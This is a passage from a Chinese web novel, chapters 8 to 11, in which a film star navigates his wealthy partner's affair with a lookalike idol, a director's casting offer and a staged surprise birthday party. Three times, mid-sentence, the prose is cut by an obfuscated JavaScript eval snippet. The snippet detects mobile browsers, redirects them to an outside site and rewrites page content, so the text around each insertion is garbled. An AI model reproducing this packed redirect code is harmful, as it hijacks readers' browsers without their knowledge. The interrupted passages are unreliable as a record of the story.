笑起来会发光的眼睛、挺拔秀气的鼻梁、形状较好的双唇、瓷白如玉的肌肤……种种元素,共同组合成了一张让他觉得熟悉、又时常感到陌生的脸。 更多的时间里,谢明夷都觉得眼前的面孔很陌生。 但有些时候,这张脸的主人只是在简单的微笑,却能让他立时翻找出记忆里的某些瞬间。 在那些瞬间里,有一道同样年轻的身影,那道身影时而肆无顾忌地谈笑,时而在清早的晨风中奔跑,他跑动时身上白T恤被风鼓满,散发出一种由青草和洗衣液混合的、青春而动人的味道。 正是为了留住这些瞬间,谢明夷才做出要将这张脸的主人留在身边的决定。 …… 发散的思绪渐渐回笼,谢明夷的眼神定在对方的额头上。 那里有一层蓬松的、绒绒的碎发刘海,形状由专业的造型师精心设计,透出蓬勃的少年感。 谢明夷显然不在意造型师的小心机,他目光沉沉地看了那处良久,终是伸手,拨开了那片头发。 见到对方额头的皮肤光洁依旧,他松了口气,起身离开了病房。 8. 好命 顾晨光幽幽醒转,他对受伤没什么记忆,要不是后脑勺仍钝钝地发疼,恐怕他还会以为自己只是沉沉睡了一觉。 睡得太久,他喉咙干渴得厉害,只是才处于对陌生环境的本能警惕,他没有出声喊人,只是默不作声地观察周遭。 他发现自己似乎是躺在某个酒店的豪华套房里,但空间里隐约的消毒水味道,又让他默默否定了之前的猜测。 艰难地支撑身体坐了起来,顾晨光发现床头有个红色的呼叫铃,刚想探过去按铃,门口却传来响动,房门打开,走进来几个人。 他吃惊地微微瞪大眼睛,看向为首的男人:“先生,您怎么会在这里?” 见到谢明夷,顾晨光第一反应是诧异,随后便是受宠若惊。 他是在三月的一场晚宴上认识谢明夷的。 小公司的艺人有太多身不由己的应酬,毕竟有钱人的宴会上除了珍馐美味,也少不了美色妆点,这些空有美貌而无靠山的年轻男女,最适合成为那一道秀色可餐的美食。 那天晚宴的东道主是公司的大股东,顾晨光和几个成员被经纪人上贡般的送进会场,原想着让他们在股东面前露露脸,没想到却遇到了谢明夷。 认识他之前,顾晨光从未听说过谢明夷这个名字。认识他之后,顾晨光却无数次地听到,许多新闻节目里才能见到的面孔,一个笑得比一个亲切地称呼这个年轻的男人——“谢先生”。 这样的谢先生,居然连夜从另一个城市赶来看望他,教人怎能不感动。 既然人醒过来了,医护人员一拥而上推着顾晨光去做检查。 这时候他才知道,自己已经被转移到了谢家旗下的高端私人医院,私密性极佳,那些守着抢新闻的媒体一家也进不来。 猜到这是谢先生的安排,他心里又暖了几分。 顾晨光检查完,医院副院长亲自过来向病人家属汇报结果,绕来绕去还是那一句,伤得并不厉害,请您不用担心。 谢明夷微微点头,又说:“之前的医院说他营养不良?” 副院长:“是有这个情况,但是艺人长期节食,或多或少都有这样的问题。” 江叙和就没有,谢明夷突然闪过这点念头,旋即笑了下——自己果然把他养得很好。 副院长不明所以,听到别人营养不良就这么开心? * 医护们离开后,房间里只剩下两个人。 谢明夷依旧少言寡语,坐在沙发上看手机,两耳不闻窗外事。 顾晨光则是有点尴尬,谢先生出行都是前呼后拥,他以前很少有机会与他单独相处,以至于现在想找个话题都找不到。 而且有点难以启齿的是,顾晨光心里其实是有点害怕谢明夷的。 虽然谢先生和他曾经接触过的任何一个权贵子弟都不一样,他身上没有一点人上人的傲慢,待人接物称得上温和有礼。但就是这样的谢先生,顾晨光有时不小心与他对视,仍是会不自觉地感到一阵心慌。 唾弃了一下自己的神经质,顾晨光大着胆子在谢明夷身边坐下,见他不反对,顿时高兴了起来,又悄悄凑得更近了些。 只是看清楚谢明夷正在看的内容后,他却愣了一下:“您……?” 谢先生这是在看江叙和的超话? 没理会他的吃惊,谢明夷熟门熟路地点进超话,最近江叙和的“河粉”联合开展了偶像生日倒计时接力企划,每天都有人上传自制的视频、绘画和生日贺文,氛围温馨又感人。 今天有粉丝用江叙和历年的电影画面剪了个庆生视频,其中有一幕是他扮演卧底、装傻大口吃面条的样子,两颊鼓鼓囊囊的,与素来高冷神秘的影帝形象分外不搭。当初这部戏刚上映时,影评人都说是影帝自毁形象,粉丝却非常喜爱,二创视频里总少不了这一幕经典的吃面镜头。 想起渡山庄园里某个吃西葫芦意面吃到凄风苦雨的人,谢明夷眼里也不自觉地带出几分笑意。 捕捉到那抹笑意,顾晨光微怔,某个被自己强行压住的想法又开始不受控制地浮了上来,心脏不安地跳动着,他小心翼翼地出声试探:“谢先生也喜欢江影帝啊?” 才意识到房间里还有另一个人,谢明夷收起手机,眉梢微挑,神情莫测:“你似乎对江叙和很感兴趣?” 他语气平静,却让顾晨光心头一跳,他连忙垂下眼帘,手指无意识的摩挲着沙发扶手上的花纹,浓密的睫毛在眼下投下一片小小的阴影。 再抬眼时,神色已换成了恰当好处的腼腆:“其实我从小就很喜欢江老师,他的演技特别好,尤其是《曾少年》里他演的顾寻,穿着白衬衫的样子又清冷又知性,当时迷倒了我们班上不知多少女生。” 他顿了顿,像是想起了什么愉快的事情,嘴角弯起:“上次在西瓜卫视录节目,我还见到江老师本人了!没想到他本人特别谦虚和气,一点儿影帝的架子都没有,还主动问了我的新综艺呢。” “你们遇见了。”谢明夷的声音依然平稳,但若是仔细听,便能察觉平静水面下的一丝紧绷。 “是呀,上次去录个访谈节目,在电视台走廊遇见的。”顾晨光语气轻快,“就是咱们一起回寰海的那天,您还记得吗?” 谢明夷没说话,想起来了。 那天他急于赶回寰海,却在路上遇到了错过飞机的顾晨光,就顺路带了他一程。没想到当时对方嘴里差点儿错过录制的节目,竟然也是《晓楠会客室》。 看来那晚江叙和突然提起顾晨光的长相,并非察觉了什么,只是白天刚好遇见,随口一提而已。 他这样想着,这几天胸口一直萦绕不去的阴云终于有了消散的迹象,神色不自觉地软和了一些。 敏锐地捕捉到了这一丝缓和,顾晨光胆子大了起来,身体微微前倾靠近男人,用一种半开玩笑的语气说道:“您知道吗?网上好多人都说我们长得有点像呢。” 话音刚落,谢明夷的脸色骤然沉了下来:“谁说的?”声音冷得像冰。 没想到他反应这么大,顾晨光往回瑟缩了一下,才小声回答:“是网上……网友都这么说。我也觉得挺荣幸的,毕竟江老师那么好看哈哈……哈……” 最后一点笑声被他从喉咙里用力逼了出来。 “网上说错了。”谢明夷的语气斩钉截铁,不容置疑,“你们哪里像了。” 顾晨光愣了一下,随即讪讪地笑了:“是吗?那、那可能是我看错了,不好意思啊谢先生。” 看错了才有鬼呢。 他一个非影视专业的素人,当初就是仗着这张跟江叙和相似的面孔,才会被星探一眼相中,顺顺当当地出道。 谢明夷站起来,居高临下地看着他,光线被他高大的身形遮挡,一片阴影笼罩在顾晨光的脸上。 “不管你猜到了什么。”男人的声音压得很低,带着清晰的警告意味,“不准在江叙和面前说些有的没的。” 顾晨光跟着起身,神情无辜且茫然地与他对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643298|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视,适时地流露出一丝无措。 谢明夷看着那双熟悉的、此时却被惶恐覆盖的眼睛,心底掠过一丝极淡的烦躁,他缓和了语气:“不用跟我玩那些小花样,该给你的,我不会亏待你。” “但是不该你做的事情,你最好也聪明一点。” 他说完,拿起搭在沙发背上的西装外套,准备离开。 手搭到门把手的时候,他脚步顿了顿,转头道:“另外,江叙和就比你大七岁,什么叫‘你从小喜欢’?” 病房门被轻轻带上了。 * 顾晨光指尖在手机屏幕上敲得飞快,力度大得几乎要戳破那层钢化膜。 “不是,他有病啊!”年轻的偶像气鼓鼓地咬着牙,对着匿名聊天框那头的网友疯狂输出,“明明是他自己又想家里红旗不倒,又想外面彩旗飘飘,怎么还有脸对我阴阳怪气啊?” 敢情我打探一下自己究竟是小几都有错呗。 他越想越气,怎么会有人明明做错了事,还能那么理所当然地指责别人啊! 他在用的是个纯匿名聊天软件,阅后即焚的功能可以很好的保护用户隐私——当然,这类软件从不开放公开下载渠道,上面的用户多半也不是什么正经人。 网络那头的友人并不清楚他的身份,也不知道他口中那个“很有钱但很龟毛的金主”具体是谁,此时便回复: “哎呀,看开点嘛,看在钱的份上忍一忍咯~你不是说你很需要挣大钱吗?” 顾晨光动作一顿,抬起眼,目光缓缓扫过这间堪比五星级酒店总统套的豪华病房。 空气里弥漫着消毒水被昂贵香氛中和后的清淡气息,身下是真丝质地的床品,触感滑凉。床头柜上摆着一盘刚空运来的皇冠蜜瓜,瓜肉呈现半透明的淡橙色,旁边一碟色彩丰富的各种莓果,据说出自毕露国某个知名的私人庄园,用精致的玻璃碟子盛放,在灯光下闪着诱人的光泽。 他伸手用银叉取了一小块蜜瓜,那入口即化的清甜和丰沛汁水瞬间抚平了心头的燥意。 是啊,看在钱的份上。 毕竟他是真的很需要钱。 顾晨光深吸一口气,像是说服自己般,打字的速度慢了许多:“……其实,他这人吧,有时候也还行。” “最近我不小心受伤进医院,他一听说就赶过来了,还一直守着我。”似乎找到了被偏爱的证据,他指尖的动作不自觉地加快,“听他的助理说,为了来看我,他连跟家里那位的生日旅行都取消了……” “!!!!!”友人发来一连串的感叹号,“卧槽,这什么24K纯有机人渣啊!他老婆也是倒了八辈子血霉。” 许是觉得说错了话,友人又紧接着补上了一句,语气里带着恰到好处地恭维:“不过鸽子,你的命是真好啊!” 顾晨光在这个软件上的昵称叫“鸽子也想飞”,友人有时称呼他为“鸽子”,有时又叫他“小飞”,全看心情。 友人又发来一句,这次倒是真心实意地劝导:“鸽子,这个世界上有钱人很多,但是出手大方愿意给你花钱的可不多,受点气就受点气吧,多少人想受这种罪还没机会呢。” 不愧是著名匿名软件,用户的三观永远如此炸裂。 顾晨光看着最后那行字,扯了扯嘴角,想笑,却又觉得没什么意思。 他放下手机,重新躺回柔软的病床上,拉高被子,将自己严严实实的包裹了起来。 命好? 也许吧。 9. 生日 咖啡店里冷气大大削弱了盛夏午后的威力,阳光上一秒还在外面气势汹汹地炙烤大地,下一秒就乖乖蜷在落地窗后,在咖啡桌上洒下柔和的光影。 顾晨光受伤引起的舆论风波终于平息,鼎泰地产找了当天的活动供应商顶锅,表示“将严肃追究其违约责任”。 艺人自己也站了出来,在社媒上传了一段视频,表示自己并无大碍,让大家不用担心,随后又重点感谢了鼎泰地产周到的照顾和善后,很好的平息了粉丝的情绪。 王哥把平板往桌子上重重一搁,气哼哼地:“他当然没事啦,因祸得福,我看这小子都养胖了。” 江叙和正在看剧本,不想桌子被王哥一招野猪突进搞得摇晃个不停,杯子里的咖啡眼看就要洒出来,他赶紧拿高剧本免得遭殃,很是无语: “王博文先生,你不觉得你对顾晨光的关注度有点太高了吗?” “王博文你这是畸形的爱啊王博文。” 王博文大怒:“我这是为了谁——” 他话音未落,门口传来铃响。 裴屿到了。 他们约了今天探讨剧本,算是在正式签约前最后再确认一次双方意向。 江叙和起身迎接,不着痕迹地打量对方。 这位以言辞犀利著称的导演看起来比采访视频中年轻不少,今天只穿了一件米色卫衣,搭配深蓝色牛仔裤,高大俊朗,活像个刚出校门的大学生。 “裴导。”江叙和伸手。 王哥也过来和他握手,神情有点儿尴尬,没想到裴屿今天只身赴会,连个助理都没带,倒显得他们这边拿架子了一样。 好在裴屿似乎不在乎这些,坐下后率先开起了玩笑:“跟江老师同行好几年了,一直没机会见到真人,今天才发现大影帝居然还是不上镜的哪一种。” 客套话嘛,谁不会说,不过裴屿这话他爱听。 江叙和微笑:“您过奖了。我看采访您都是很严肃的样子,没想到现实中这么年轻。” 裴屿挑眉:“我也就比你大个五六岁吧,怎么说得我跟个老艺术家似的。” 王哥赶紧打圆场:“不是,我们叙和很喜欢您的作品的,经常拉片看。” “你经常看我的片子?”裴屿眼中划过一丝讶异,他是典型的商业片导演,和江叙和的戏路根本不搭,此时只当是经纪人在说漂亮话。 不想江叙和竟微微颔首,眼神诚恳:“我很喜欢您的摄影手法和叙事风格,三年前《荒原之鹰》选角的时候,我还毛遂自荐过,可惜没能入围。” 这话连王哥都愣住了:“这事儿你咋没跟我说过?” 裴屿脸色沉了下来:“我并不知道您向我的工作室投过简历。” 他顿了顿:“我会回去查清楚,一定给您一个交代。” 话虽这么说,但看他的神色,似乎心中已经有了答案。 * 没想到随口一句忆往昔会引发这样的连锁反应,江叙和微窘,赶紧将话题努力往回拉:“所以这次能得到您的亲自邀请,我简直受宠若惊,还和经纪人反复确认了好几遍。” 裴屿也露出笑容,调侃道:“发出邀请的时候我也很忐忑。毕竟道上有传闻,江大影帝对寰海以外的空气过敏,绝对不会接大西北的戏。” 王哥下意识就要维护艺人,江叙和却轻笑出声:“裴导路子就是广,连道上的消息都知道。” 随后才道:“这几年我母亲身体不好,我不敢离得太远。不过在家吃了三年老本,也是时候出来拼一把了。” “抱歉,我不知道您母亲……” “没关系。”江叙和打断他,“圈里没几个人知道。” 接下来关于剧本的讨论异常顺利,谈到最后,裴屿不自觉地身体前倾,屈指轻点他面前的剧本:“其实这个角色从构思之初我就觉得该让你来演。” “放眼整个娱乐圈,能同时扛起流量和演技,形象还符合角色的,你是唯一人选。” 没人不喜欢听这样直白的肯定。 江叙和低头抿了口咖啡,嘴角不自觉地弯起:“裴导看起来是文艺得很,没想到思考方式这么商业化。” “没办法,谁让我得给资方交差呢。”裴屿两手一摊,坦荡地承认自己的铜臭味儿。 “这也是我唯一的顾虑。”江叙和抬起眼,“您想把《盖亚》拆成三部曲来拍,可是前期的造景和道具投入却要一次性完成。” “这么巨大的前期投资,资方真的能接受吗?” 裴屿怔了怔,显然没料到他会关心这个,随即露出个堪称光棍的笑:“放心吧。为了这部戏,我签了百亿总票房的对赌,要是第一部上映不及预期,投资人的亏损得我自掏腰包补上。” 这次轮到江叙和愣住了,他缓缓竖起大拇指:“裴导大气。” 合作意向就此敲定。 分别时,江叙和道:“公司会尽快将签好的合同寄给您。” 裴屿点头,随后从文件包里取出一个狭长的丝绒盒子,动作略显随意:“虽然有些冒昧,但来的路上刚好看到热搜说今天是你生日,临时准备了一点小礼物,请别嫌弃。” 江叙和有些惊讶,伸手接过:“谢谢,有心了。” 裴屿耸肩,卫衣的抽绳随着他的动作活泼地跳跃:“有一个生日都出门聊工作的男主演,该我谢你才是。” * 两人回到车上,空调的凉风瞬间将外界黏着的暑气隔绝开来。 王哥坐在驾驶座上,一边系安全带,一边啧啧感叹:“没想到裴导本人是这个画风,还蛮……蛮客气的。” 江叙和闻言疑惑地看向他:“那他该是什么样子?” “诶?难道你居然不知道?”王哥启动车辆,语气里带了些不可思议。 “我应该知道点儿什么吗?”江叙和愿闻其详。 王哥挠了挠他那头凌乱的卷发,丝毫不心疼发际线的样子,嘿嘿一笑:“你不是混内什么顶级豪门圈子的吗?我以为你对这些公子哥的八卦门儿清呢。” “打住。”江叙和语气淡淡地纠正,“第一,我不混什么圈子。第二,我对打听八卦隐私这些事没什么兴趣。” “是是是,是我狭隘了。”王哥熟练地打着方向盘汇入车流,“是我爱八卦,行了吧。” “反正就是个江湖传闻哈。本来我也只是当个乐子听,但是今天看他随随便便就敢签百亿对赌,这么拿钱不当钱造的势头,我觉得吧,这事儿保不齐还真有几分可信。” 他刻意停顿了一下,卖了个关子,才眉飞色舞地继续:“大伙儿都传裴屿是随的母姓,他其实是叶家人,就内个叶家,你懂的哈~ “据说人家是正儿八百的叶家嫡系,为了追逐电影梦跟家里闹翻了,这才隐姓埋名来娱乐圈闯荡。” “叶家?”江叙和皱眉。 他当然听说过叶家。那是少数能与谢家并肩的庞然大物,但是据说两家的上一辈似乎有些旧怨,如今往来极少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643299|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以他在谢明夷身边七年,竟从未见过一位叶家人。 裴屿是叶家的人? 江叙和实在难以想象,那样人家的少爷,居然能够忍受剧组里起早贪黑、风餐露宿的苦楚。 再加上导演这行当可不是什么轻松的活计,拼的不仅是才华,更是体力和精力,绝对不是纨绔子弟用来玩票的优选。 “不然你以为呢。”王哥一副“你太天真”的表情,“他拍第一部作品的时候才二十三岁,投资两个亿!要是没有滔天的背景,谁没事儿干敢把那么大笔投资交给一个毛头小子。” 这话提醒了江叙和,他掏出那个丝绒盒子,觉得有点儿难办,要是里面是什么贵得离谱的礼物,那他还是退回去比较好。 这样想着,他伸手解开盒扣,轻轻打开,预想中的名贵礼物并未出现,深蓝色丝绒内衬上,静静躺着一支钢笔。 笔身之下,压着一张对折的白色卡纸。 先取出卡纸展开,上面是龙飞凤舞的八个字——“生日快乐,万事顺遂。” 落款是讲究的花体字,“BY Pei”。 他松了口气,倒是一份中规中矩的礼物。 * 黑色埃尔法平稳地停在渡山庄园主楼车道上,王哥道:“我就送你到这儿,不进去了。” 他伸手朝后指了指:“生日礼物在后备箱,你自己拿一下,东西有点沉。” 江叙和刚解开安全带准备下车,闻言笑道:“今年这么破费?那我先期待一下。” “少来这套。”王哥故作嫌弃地摆手,随即又切换回老妈子模式,“我都懒得说你,好歹也是个影帝,过生日连个像样的party都不开,应援热搜都是粉丝自己组织的,这么低调怎么对得起你的身份。” 习惯了他的絮叨,江叙和熟练地左耳进右耳出,懒懒散散地样子,落在王哥眼里分外欠揍;“哎呀,你是知道我最不耐烦那些社交的,今年生日难得可以清净一下,我高兴都来不及。” 说完,他利落地推门下车,绕到车尾,后备箱应声升起,里面果然躺着一个包装精美、体积不小的礼盒,看来花了他少心思。 弯腰将礼物抱出来,果然有些分量,江叙和走到驾驶座窗外,屈指敲了敲玻璃。 王哥放下车窗,脸上那点恨铁不成钢的表情还没完全收起。 “谢了,哥。”江叙和看着他,语气诚恳,“礼物我很喜欢。”——虽然还没拆。 王博文被他难得的直白搞得有点不好意思,别扭地移开视线:“行了行了,快进去吧……” 见他害羞,江叙和更起了逗弄的心思:“你真的不要跟我一起吃个饭吗?明夷不在哦。” “算了算了。”王哥疯狂拒绝,把一头卷毛摇成了狂野泰迪,“被你们那个管家盯着,我可吃不下去。” 说完他一脚油门,溜之大吉。 江叙和失笑,同时觉得有些怪异:他到家这么久,怎么没有一个人出来迎接? 不是他摆架子,只是这完全有悖于谢家家政天团的服务宗旨。 往常都是他车刚刚停稳,就有人上前为他拉开车门,更不可能出现让“尊贵的”江老师自己抱着沉重的礼物的情况。 江叙和按下心中不解,往家里走去,就在他准备推开门的前一秒,大门应声而开。 他还来不及错愕,数十只拉炮齐齐炸响,无数彩带和亮片倾泻而下,扑了他一头一脸。 “Surprise!” 10. 佳偶 门后俨然是另外一个世界。 大厅里灯火辉煌,衣香鬓影,穿着考究的男男女女聚在一起,洋溢着夸张的笑意,欢迎他的到来。 “锵锵——!” 笑容明艳的少女第一个冲上来,手里还攥着一个没放完的礼花炮,彩色的亮片纷纷扬起,落了她满肩。 谢明希欢呼着拥住他:“惊喜吗叙和宝贝?我和哥哥都是特意赶回来给你过生日的哦!” 江叙和的脚步顿在原地,有那么一瞬间的愣神。 随即,他的目光越过兴奋的明希,精准地捕捉到了站在人群中央,正含笑望着这一切的男人。 两人对视的刹那,江叙和心底不可避免地升起了一股巨大的荒谬感——一个人究竟该无耻到什么地步,才能在刚陪完受伤的新欢之后,又无缝切换给家中的旧爱庆生。 但他将这点荒谬隐藏地极好,几乎是下一秒,就换上了惊喜的表情:“这是……?” 谢明夷这才越过众人朝他走来,声音带着笑意:“祝你生日快乐,阿叙。明希精心策划了很久,一心想要给你一个惊喜。” 谢明希立刻在一旁叽叽喳喳地拆台,隐晦地为哥哥表功:“拜托,哥你自己不也从流程到布置都过问了好几遍,干嘛在叙和面前这么谦虚!” 她话音未落,现场的灯光暗了下来,几个工作人员合力推着一个巨大的蛋糕缓缓而出,钢琴师和乐队开始演奏生日歌,宾客们也纷纷围拢过来拍手合唱。 江叙和被簇拥到蛋糕前,在跳动的烛光前闭上眼,做出许愿的模样,然后俯身吹灭蜡烛,又接过银质长刀,在众人的欢呼声中笑着切下属于寿星的第一块蛋糕,圆满地完成了这场表演。 直到仪式告一段落,他才堆起一个笑脸,双手合十向众人告饶:“谢谢,谢谢大家今天特地过来为我庆生。只是我刚回家,一身风尘仆仆的,让我上楼换身衣服再来招待各位吧。” * 主卧里原本清淡下去的雪松气息又浓烈了起来,熏得人眼晕。 他脱下舒适的休闲装,选了一套没那么正式的西服,但搭配的领结材质挺括,硬硬的抵在喉结上,硌得人透不过气来。 换好衣服,他对着镜子深吸一口气,准备下楼继续那一场“惊喜” ,刚一转身,却猝不及防撞进一个温热的怀抱里。 是谢明夷。 他在手里端着杯蜂蜜水,因为突如其来的碰撞,差点洒出来。 撞了人的家伙反而倒打一耙,眉头一皱:“你来干什么?差点洒到我衣服上了。” 谢明夷被他这恶人先告状的模样气笑了,将杯子稳稳递到他面前:“某个没良心的家伙嘴角都干得起皮了,还问我来做什么?我来衣帽间吃饭。” 江叙和理亏,接过蜂蜜水乖乖喝了一口,温润的甜意润泽了干渴的喉咙,语气也跟着软了些:“谢谢,还是你细心。” 他一边说着,一边打量着自己,对比了一番,最终还是取下了刚才搭配的铂金袖扣,换上了一对椭圆的星光蓝宝石,正好与谢明夷的领带夹搭配。 谢明夷在一旁静静地看着,突然开口:“你不戴那块表吗?” 江叙和动作一顿,从镜子里看向他:“?” 谢明夷也不明白自己怎么会突然问出这样一句,他从来不干涉江叙和的穿着打扮,那是艺人的专业范畴。但今天不知为何,他就是莫名的想看对方戴上自己赠送的那一块手表。 他甚至主动上前,从转表器里取出那只Céleste古董表,递了过去:“不觉得表盘跟你的袖扣很搭吗?” 江叙和看着他递过来的表,沉默了片刻才伸手接过,接过后也没有换上,而是放到一边:“算了,懒得换了,改天再戴。” 谢明夷没说什么,江叙和笑着去拉他:“我们下去吧,把客人晾着可不好。” 可就在他转身的瞬间,一股力道传来,谢明夷将他紧紧箍在怀里:“宝宝。” 男人声音低沉,贴在他的耳畔:“你今天……是不是不开心?” 他轻吻江叙和的发顶,就像在亲吻真挚的爱人。 江叙和微笑着,一只手不动声色地抵在两人之间,隔开了一点过于亲密的距离。 “没有啊。”他的声音听起来毫无破绽,“只是有点累了而已。” 谢明夷却像是没听见他的否认,依旧自顾自地许诺,带着一种补偿式的慷慨:“是因为我之前的爽约吗?那我推掉接下来几天的行程,咱们去你的岛上待几天,好不好?” 江叙和对他的自说自话感到一阵没来由的腻烦,转过脸超小声地嘟囔:“想玩深情也得看看别人有没有时间配合你好不好。” 谢明夷没听清,稍稍松开他一些:“嗯?” 江叙和一脸无辜:“没什么。我是说,我接下来要筹备新戏,还有几个寻岸的通告要跑,估计抽不出时间去玩儿了。” 谢明夷皱眉:“俞经年不会这么压榨你吧?几天时间而已,他敢不放人?” 江叙和没有接这个话茬,侧耳听了听楼下的动静,提醒道:“我们真的该下去了。” 客人们都在楼下等着,主人家却在楼上说悄悄话,像什么样子。 * 两人相携下楼,重新融入那片流光溢彩之中。 江叙和挽着谢明夷的手臂,从容地接受着来自四面八方的祝福,唇角的笑意温雅,与身边人俨然一对天造地设的璧人。 直到谢明夷被几位朋友围着聊起最近的资本市场动向,他才得以脱身,找了个相对安静的地方坐下。 他没有碰酒,端了一杯椰子水,小口啜饮着,看着眼前觥筹交错的热闹景象。 一个人影溜溜达达地坐过来,在他身边坐下,语气是惯有的轻浮调侃:“我们今天的主角,兴致怎么不高的样子。” 江叙和眼皮都没抬,淡淡回怼:“我们今天的客人,嘴怎么超级碎的样子?” 沈维则笑了起来,晃了晃手中的酒杯,状似无意地提起:“不管怎么样,明夷对你还是独一份的用心。” 怕他不信,沈维则指着满厅的奢华布置和热闹人群示意:“你不会真的相信,光是明希那丫头撒撒娇,他就能任由家里被这么祸祸吧。” 江叙和望着杯中晃动的透明液体,唇角弯着,却没有说话。 沈维则看着他这副油盐不进的样子,还想再说点什么,耳边却响起了那人平静无波的声音:“我的确很感激谢先生。” 沈维则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643300|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微怔住,几乎不可置信地看向他—— 情侣之间,可以说爱,可以言恨,却独独不能只有感激。 他还想追问,谢明希已经花蝴蝶般快活地飞了过来,兴奋地拉着江叙和去拆礼物。 她别出心裁地准备了一个迷你的旋转摩天轮,礼物正被工作人员逐一放上去。江叙和在众人的起哄声中,一个个的拆开。 到了他们这个阶层,物质早已不缺,礼物更多比拼的是巧思和心意。 江叙和打开一个长条木盒,里面是一套做工极其精湛的水晶切子,在灯光的照耀下璀璨似钻石。送礼的朋友笑着说伴着这样独一无二的切割工艺,威士忌都能好喝不少。 可惜江叙和是几乎不喝酒的,真正爱喝威士忌的另有其人。 他微笑着道了谢。 后面的礼物也都大同小异,昂贵、精致,处处都在彰显送礼人的独到品味。 直到他打开一个扁平的丝绒盒子,里面只有一支造型简约的定制录音笔。 周围响起一阵意味不明的“切”声,有人笑着埋怨:“这是谁送的呀?也太敷衍了吧!” 江叙和拿起那只录音笔,在指尖潇洒地转了一下,随即抬眼,目光穿过人群,精准地对上了沈维则的眼睛。 对方微微一笑,朝他举了举手中的杯子,一切尽在不言中。 谢家兄妹的礼物理所当然的放到了后面。 谢明希送的是一对设计独特的领带夹,她献宝似的说:“这可是我特意请大师设计的,镶嵌的是你们两个的生辰石哦!怎么样,是不是很棒!” 谢大小姐的礼物,那一定很棒没错了,江叙和跟他哥都很给面子的当场换了领带夹。 最后,压轴的自然是谢明夷的礼物。 那是一枚维多利亚时期的卡梅奥怀表,盛放在古老的珠宝盒里,表身由黄金打造,装饰着珍珠和珐琅,表盖上雕刻的是临水自照的纳西索斯,两张一模一样的脸在小小的一方空间里上下相对,却细腻传神,一看便知是拍卖会上千金难求的珍品。 不过即使再珍贵,它也只是一块表。 等娱乐圈混不下去了我就去当二手表贩子算了,江叙和想。 谢明夷走过来,亲手为他戴上,细心地调整好表链,才道:“阿叙,祝你生日快乐,祝你的容貌如纳西索斯般青春永驻,祝你的事业如卡梅奥般因岁月沉淀而不朽。” 全场响起一阵欢呼,明希更是摇着闺蜜的胳膊激动地小声尖叫:“我靠我哥也太会了!” 接受礼物的人却没有他们以为的那样心情激荡,江叙和摸了摸胸前的表链,对他道:“谢谢你的礼物,我很喜欢。” 谢明夷张开双臂,微笑地看着他,带着理所当然地亲昵:“就只有一句谢谢?” 江叙和抬眸与他对视,弯起嘴角,忽而向前一步,在所有人的注视下,仰头吻上了对方的唇。 头顶那盏巨大的、由无数水晶片串联而成的奢华吊灯,将璀璨的灯光毫无保留地倾泻在相拥的两人身上。 光晕流转间,将周遭的一切妆裹得好似琉璃梦境。 他们在山呼海啸般的欢呼声中接吻。 他们佳偶天成。 他们密不可分。 11. 天鹅 生日会后,谢明夷没有再安排所谓的海岛度假,但是开始破天荒地关心起了江叙和的事业规划。 “真的要去那么久?”他放下刀叉,金属与骨瓷盘边缘轻碰,发出细微的清脆声响。 “陇州那边条件艰苦,沙漠里一拍就是几个月,不像在寰海,至少还能常回来住。” 江叙和慢条斯理地咽下嘴里的食物,方才开口:“没办法啊,裴导要求高,棚里搭出来的他看不上。” “大部分实景都得在陇州拍了,剩下需要精细绿幕的,再回寰海棚拍。” 他提起即将开拍的电影时,眼神都亮了几分。 谢明夷不觉好笑:“我都开始好奇了,究竟是个什么故事,能让你这么高兴?” 喜欢的书即将被翻拍,江叙和也是难得好心情,便多解释了几句:“是阿瑟·科尔曼的《盖亚》,刚拿星穹奖金奖,算是近二十年最好的科幻长篇小说了。没想到科尔曼先生居然同意把版权交给华国影视公司翻拍。” 《盖亚》享誉中外,饶是谢明夷这样对科幻题材没兴趣的人,也听说过这本书的大名。 此时他眉头轻挑,似乎很感兴趣的样子:“这本书我听人提过,口碑是不错。就是这种硬核科幻,受众有限吧?投资恐怕是个无底洞。” 他倒是一语中的,精准地戳中了江叙和的隐忧。 “是呢,裴屿准备拍成三部曲,初步预估总投资在二十亿上下。”江叙和叹了口气,“所以只能边拍边看市场反应了,如果第一部票房和口碑能立住,后面两部才能继续推进。” 谢明夷闻言,露出不赞成的神情:“资金链是否断裂居然完全押宝在第一部的成败上,这样风险畸高的项目,你的经纪团队也不评估一下?” 江叙和放下水杯,细微的“嗒”声在安静的餐厅里格外清晰。 谢明夷总算意识到自己只是在和爱人讨论一本他喜欢的好书即将翻拍成电影,而不是在谈判桌上评估什么巨额并购案。 他笑了下:“不好意思,生意人的铜臭味儿是不是污染到你了?” 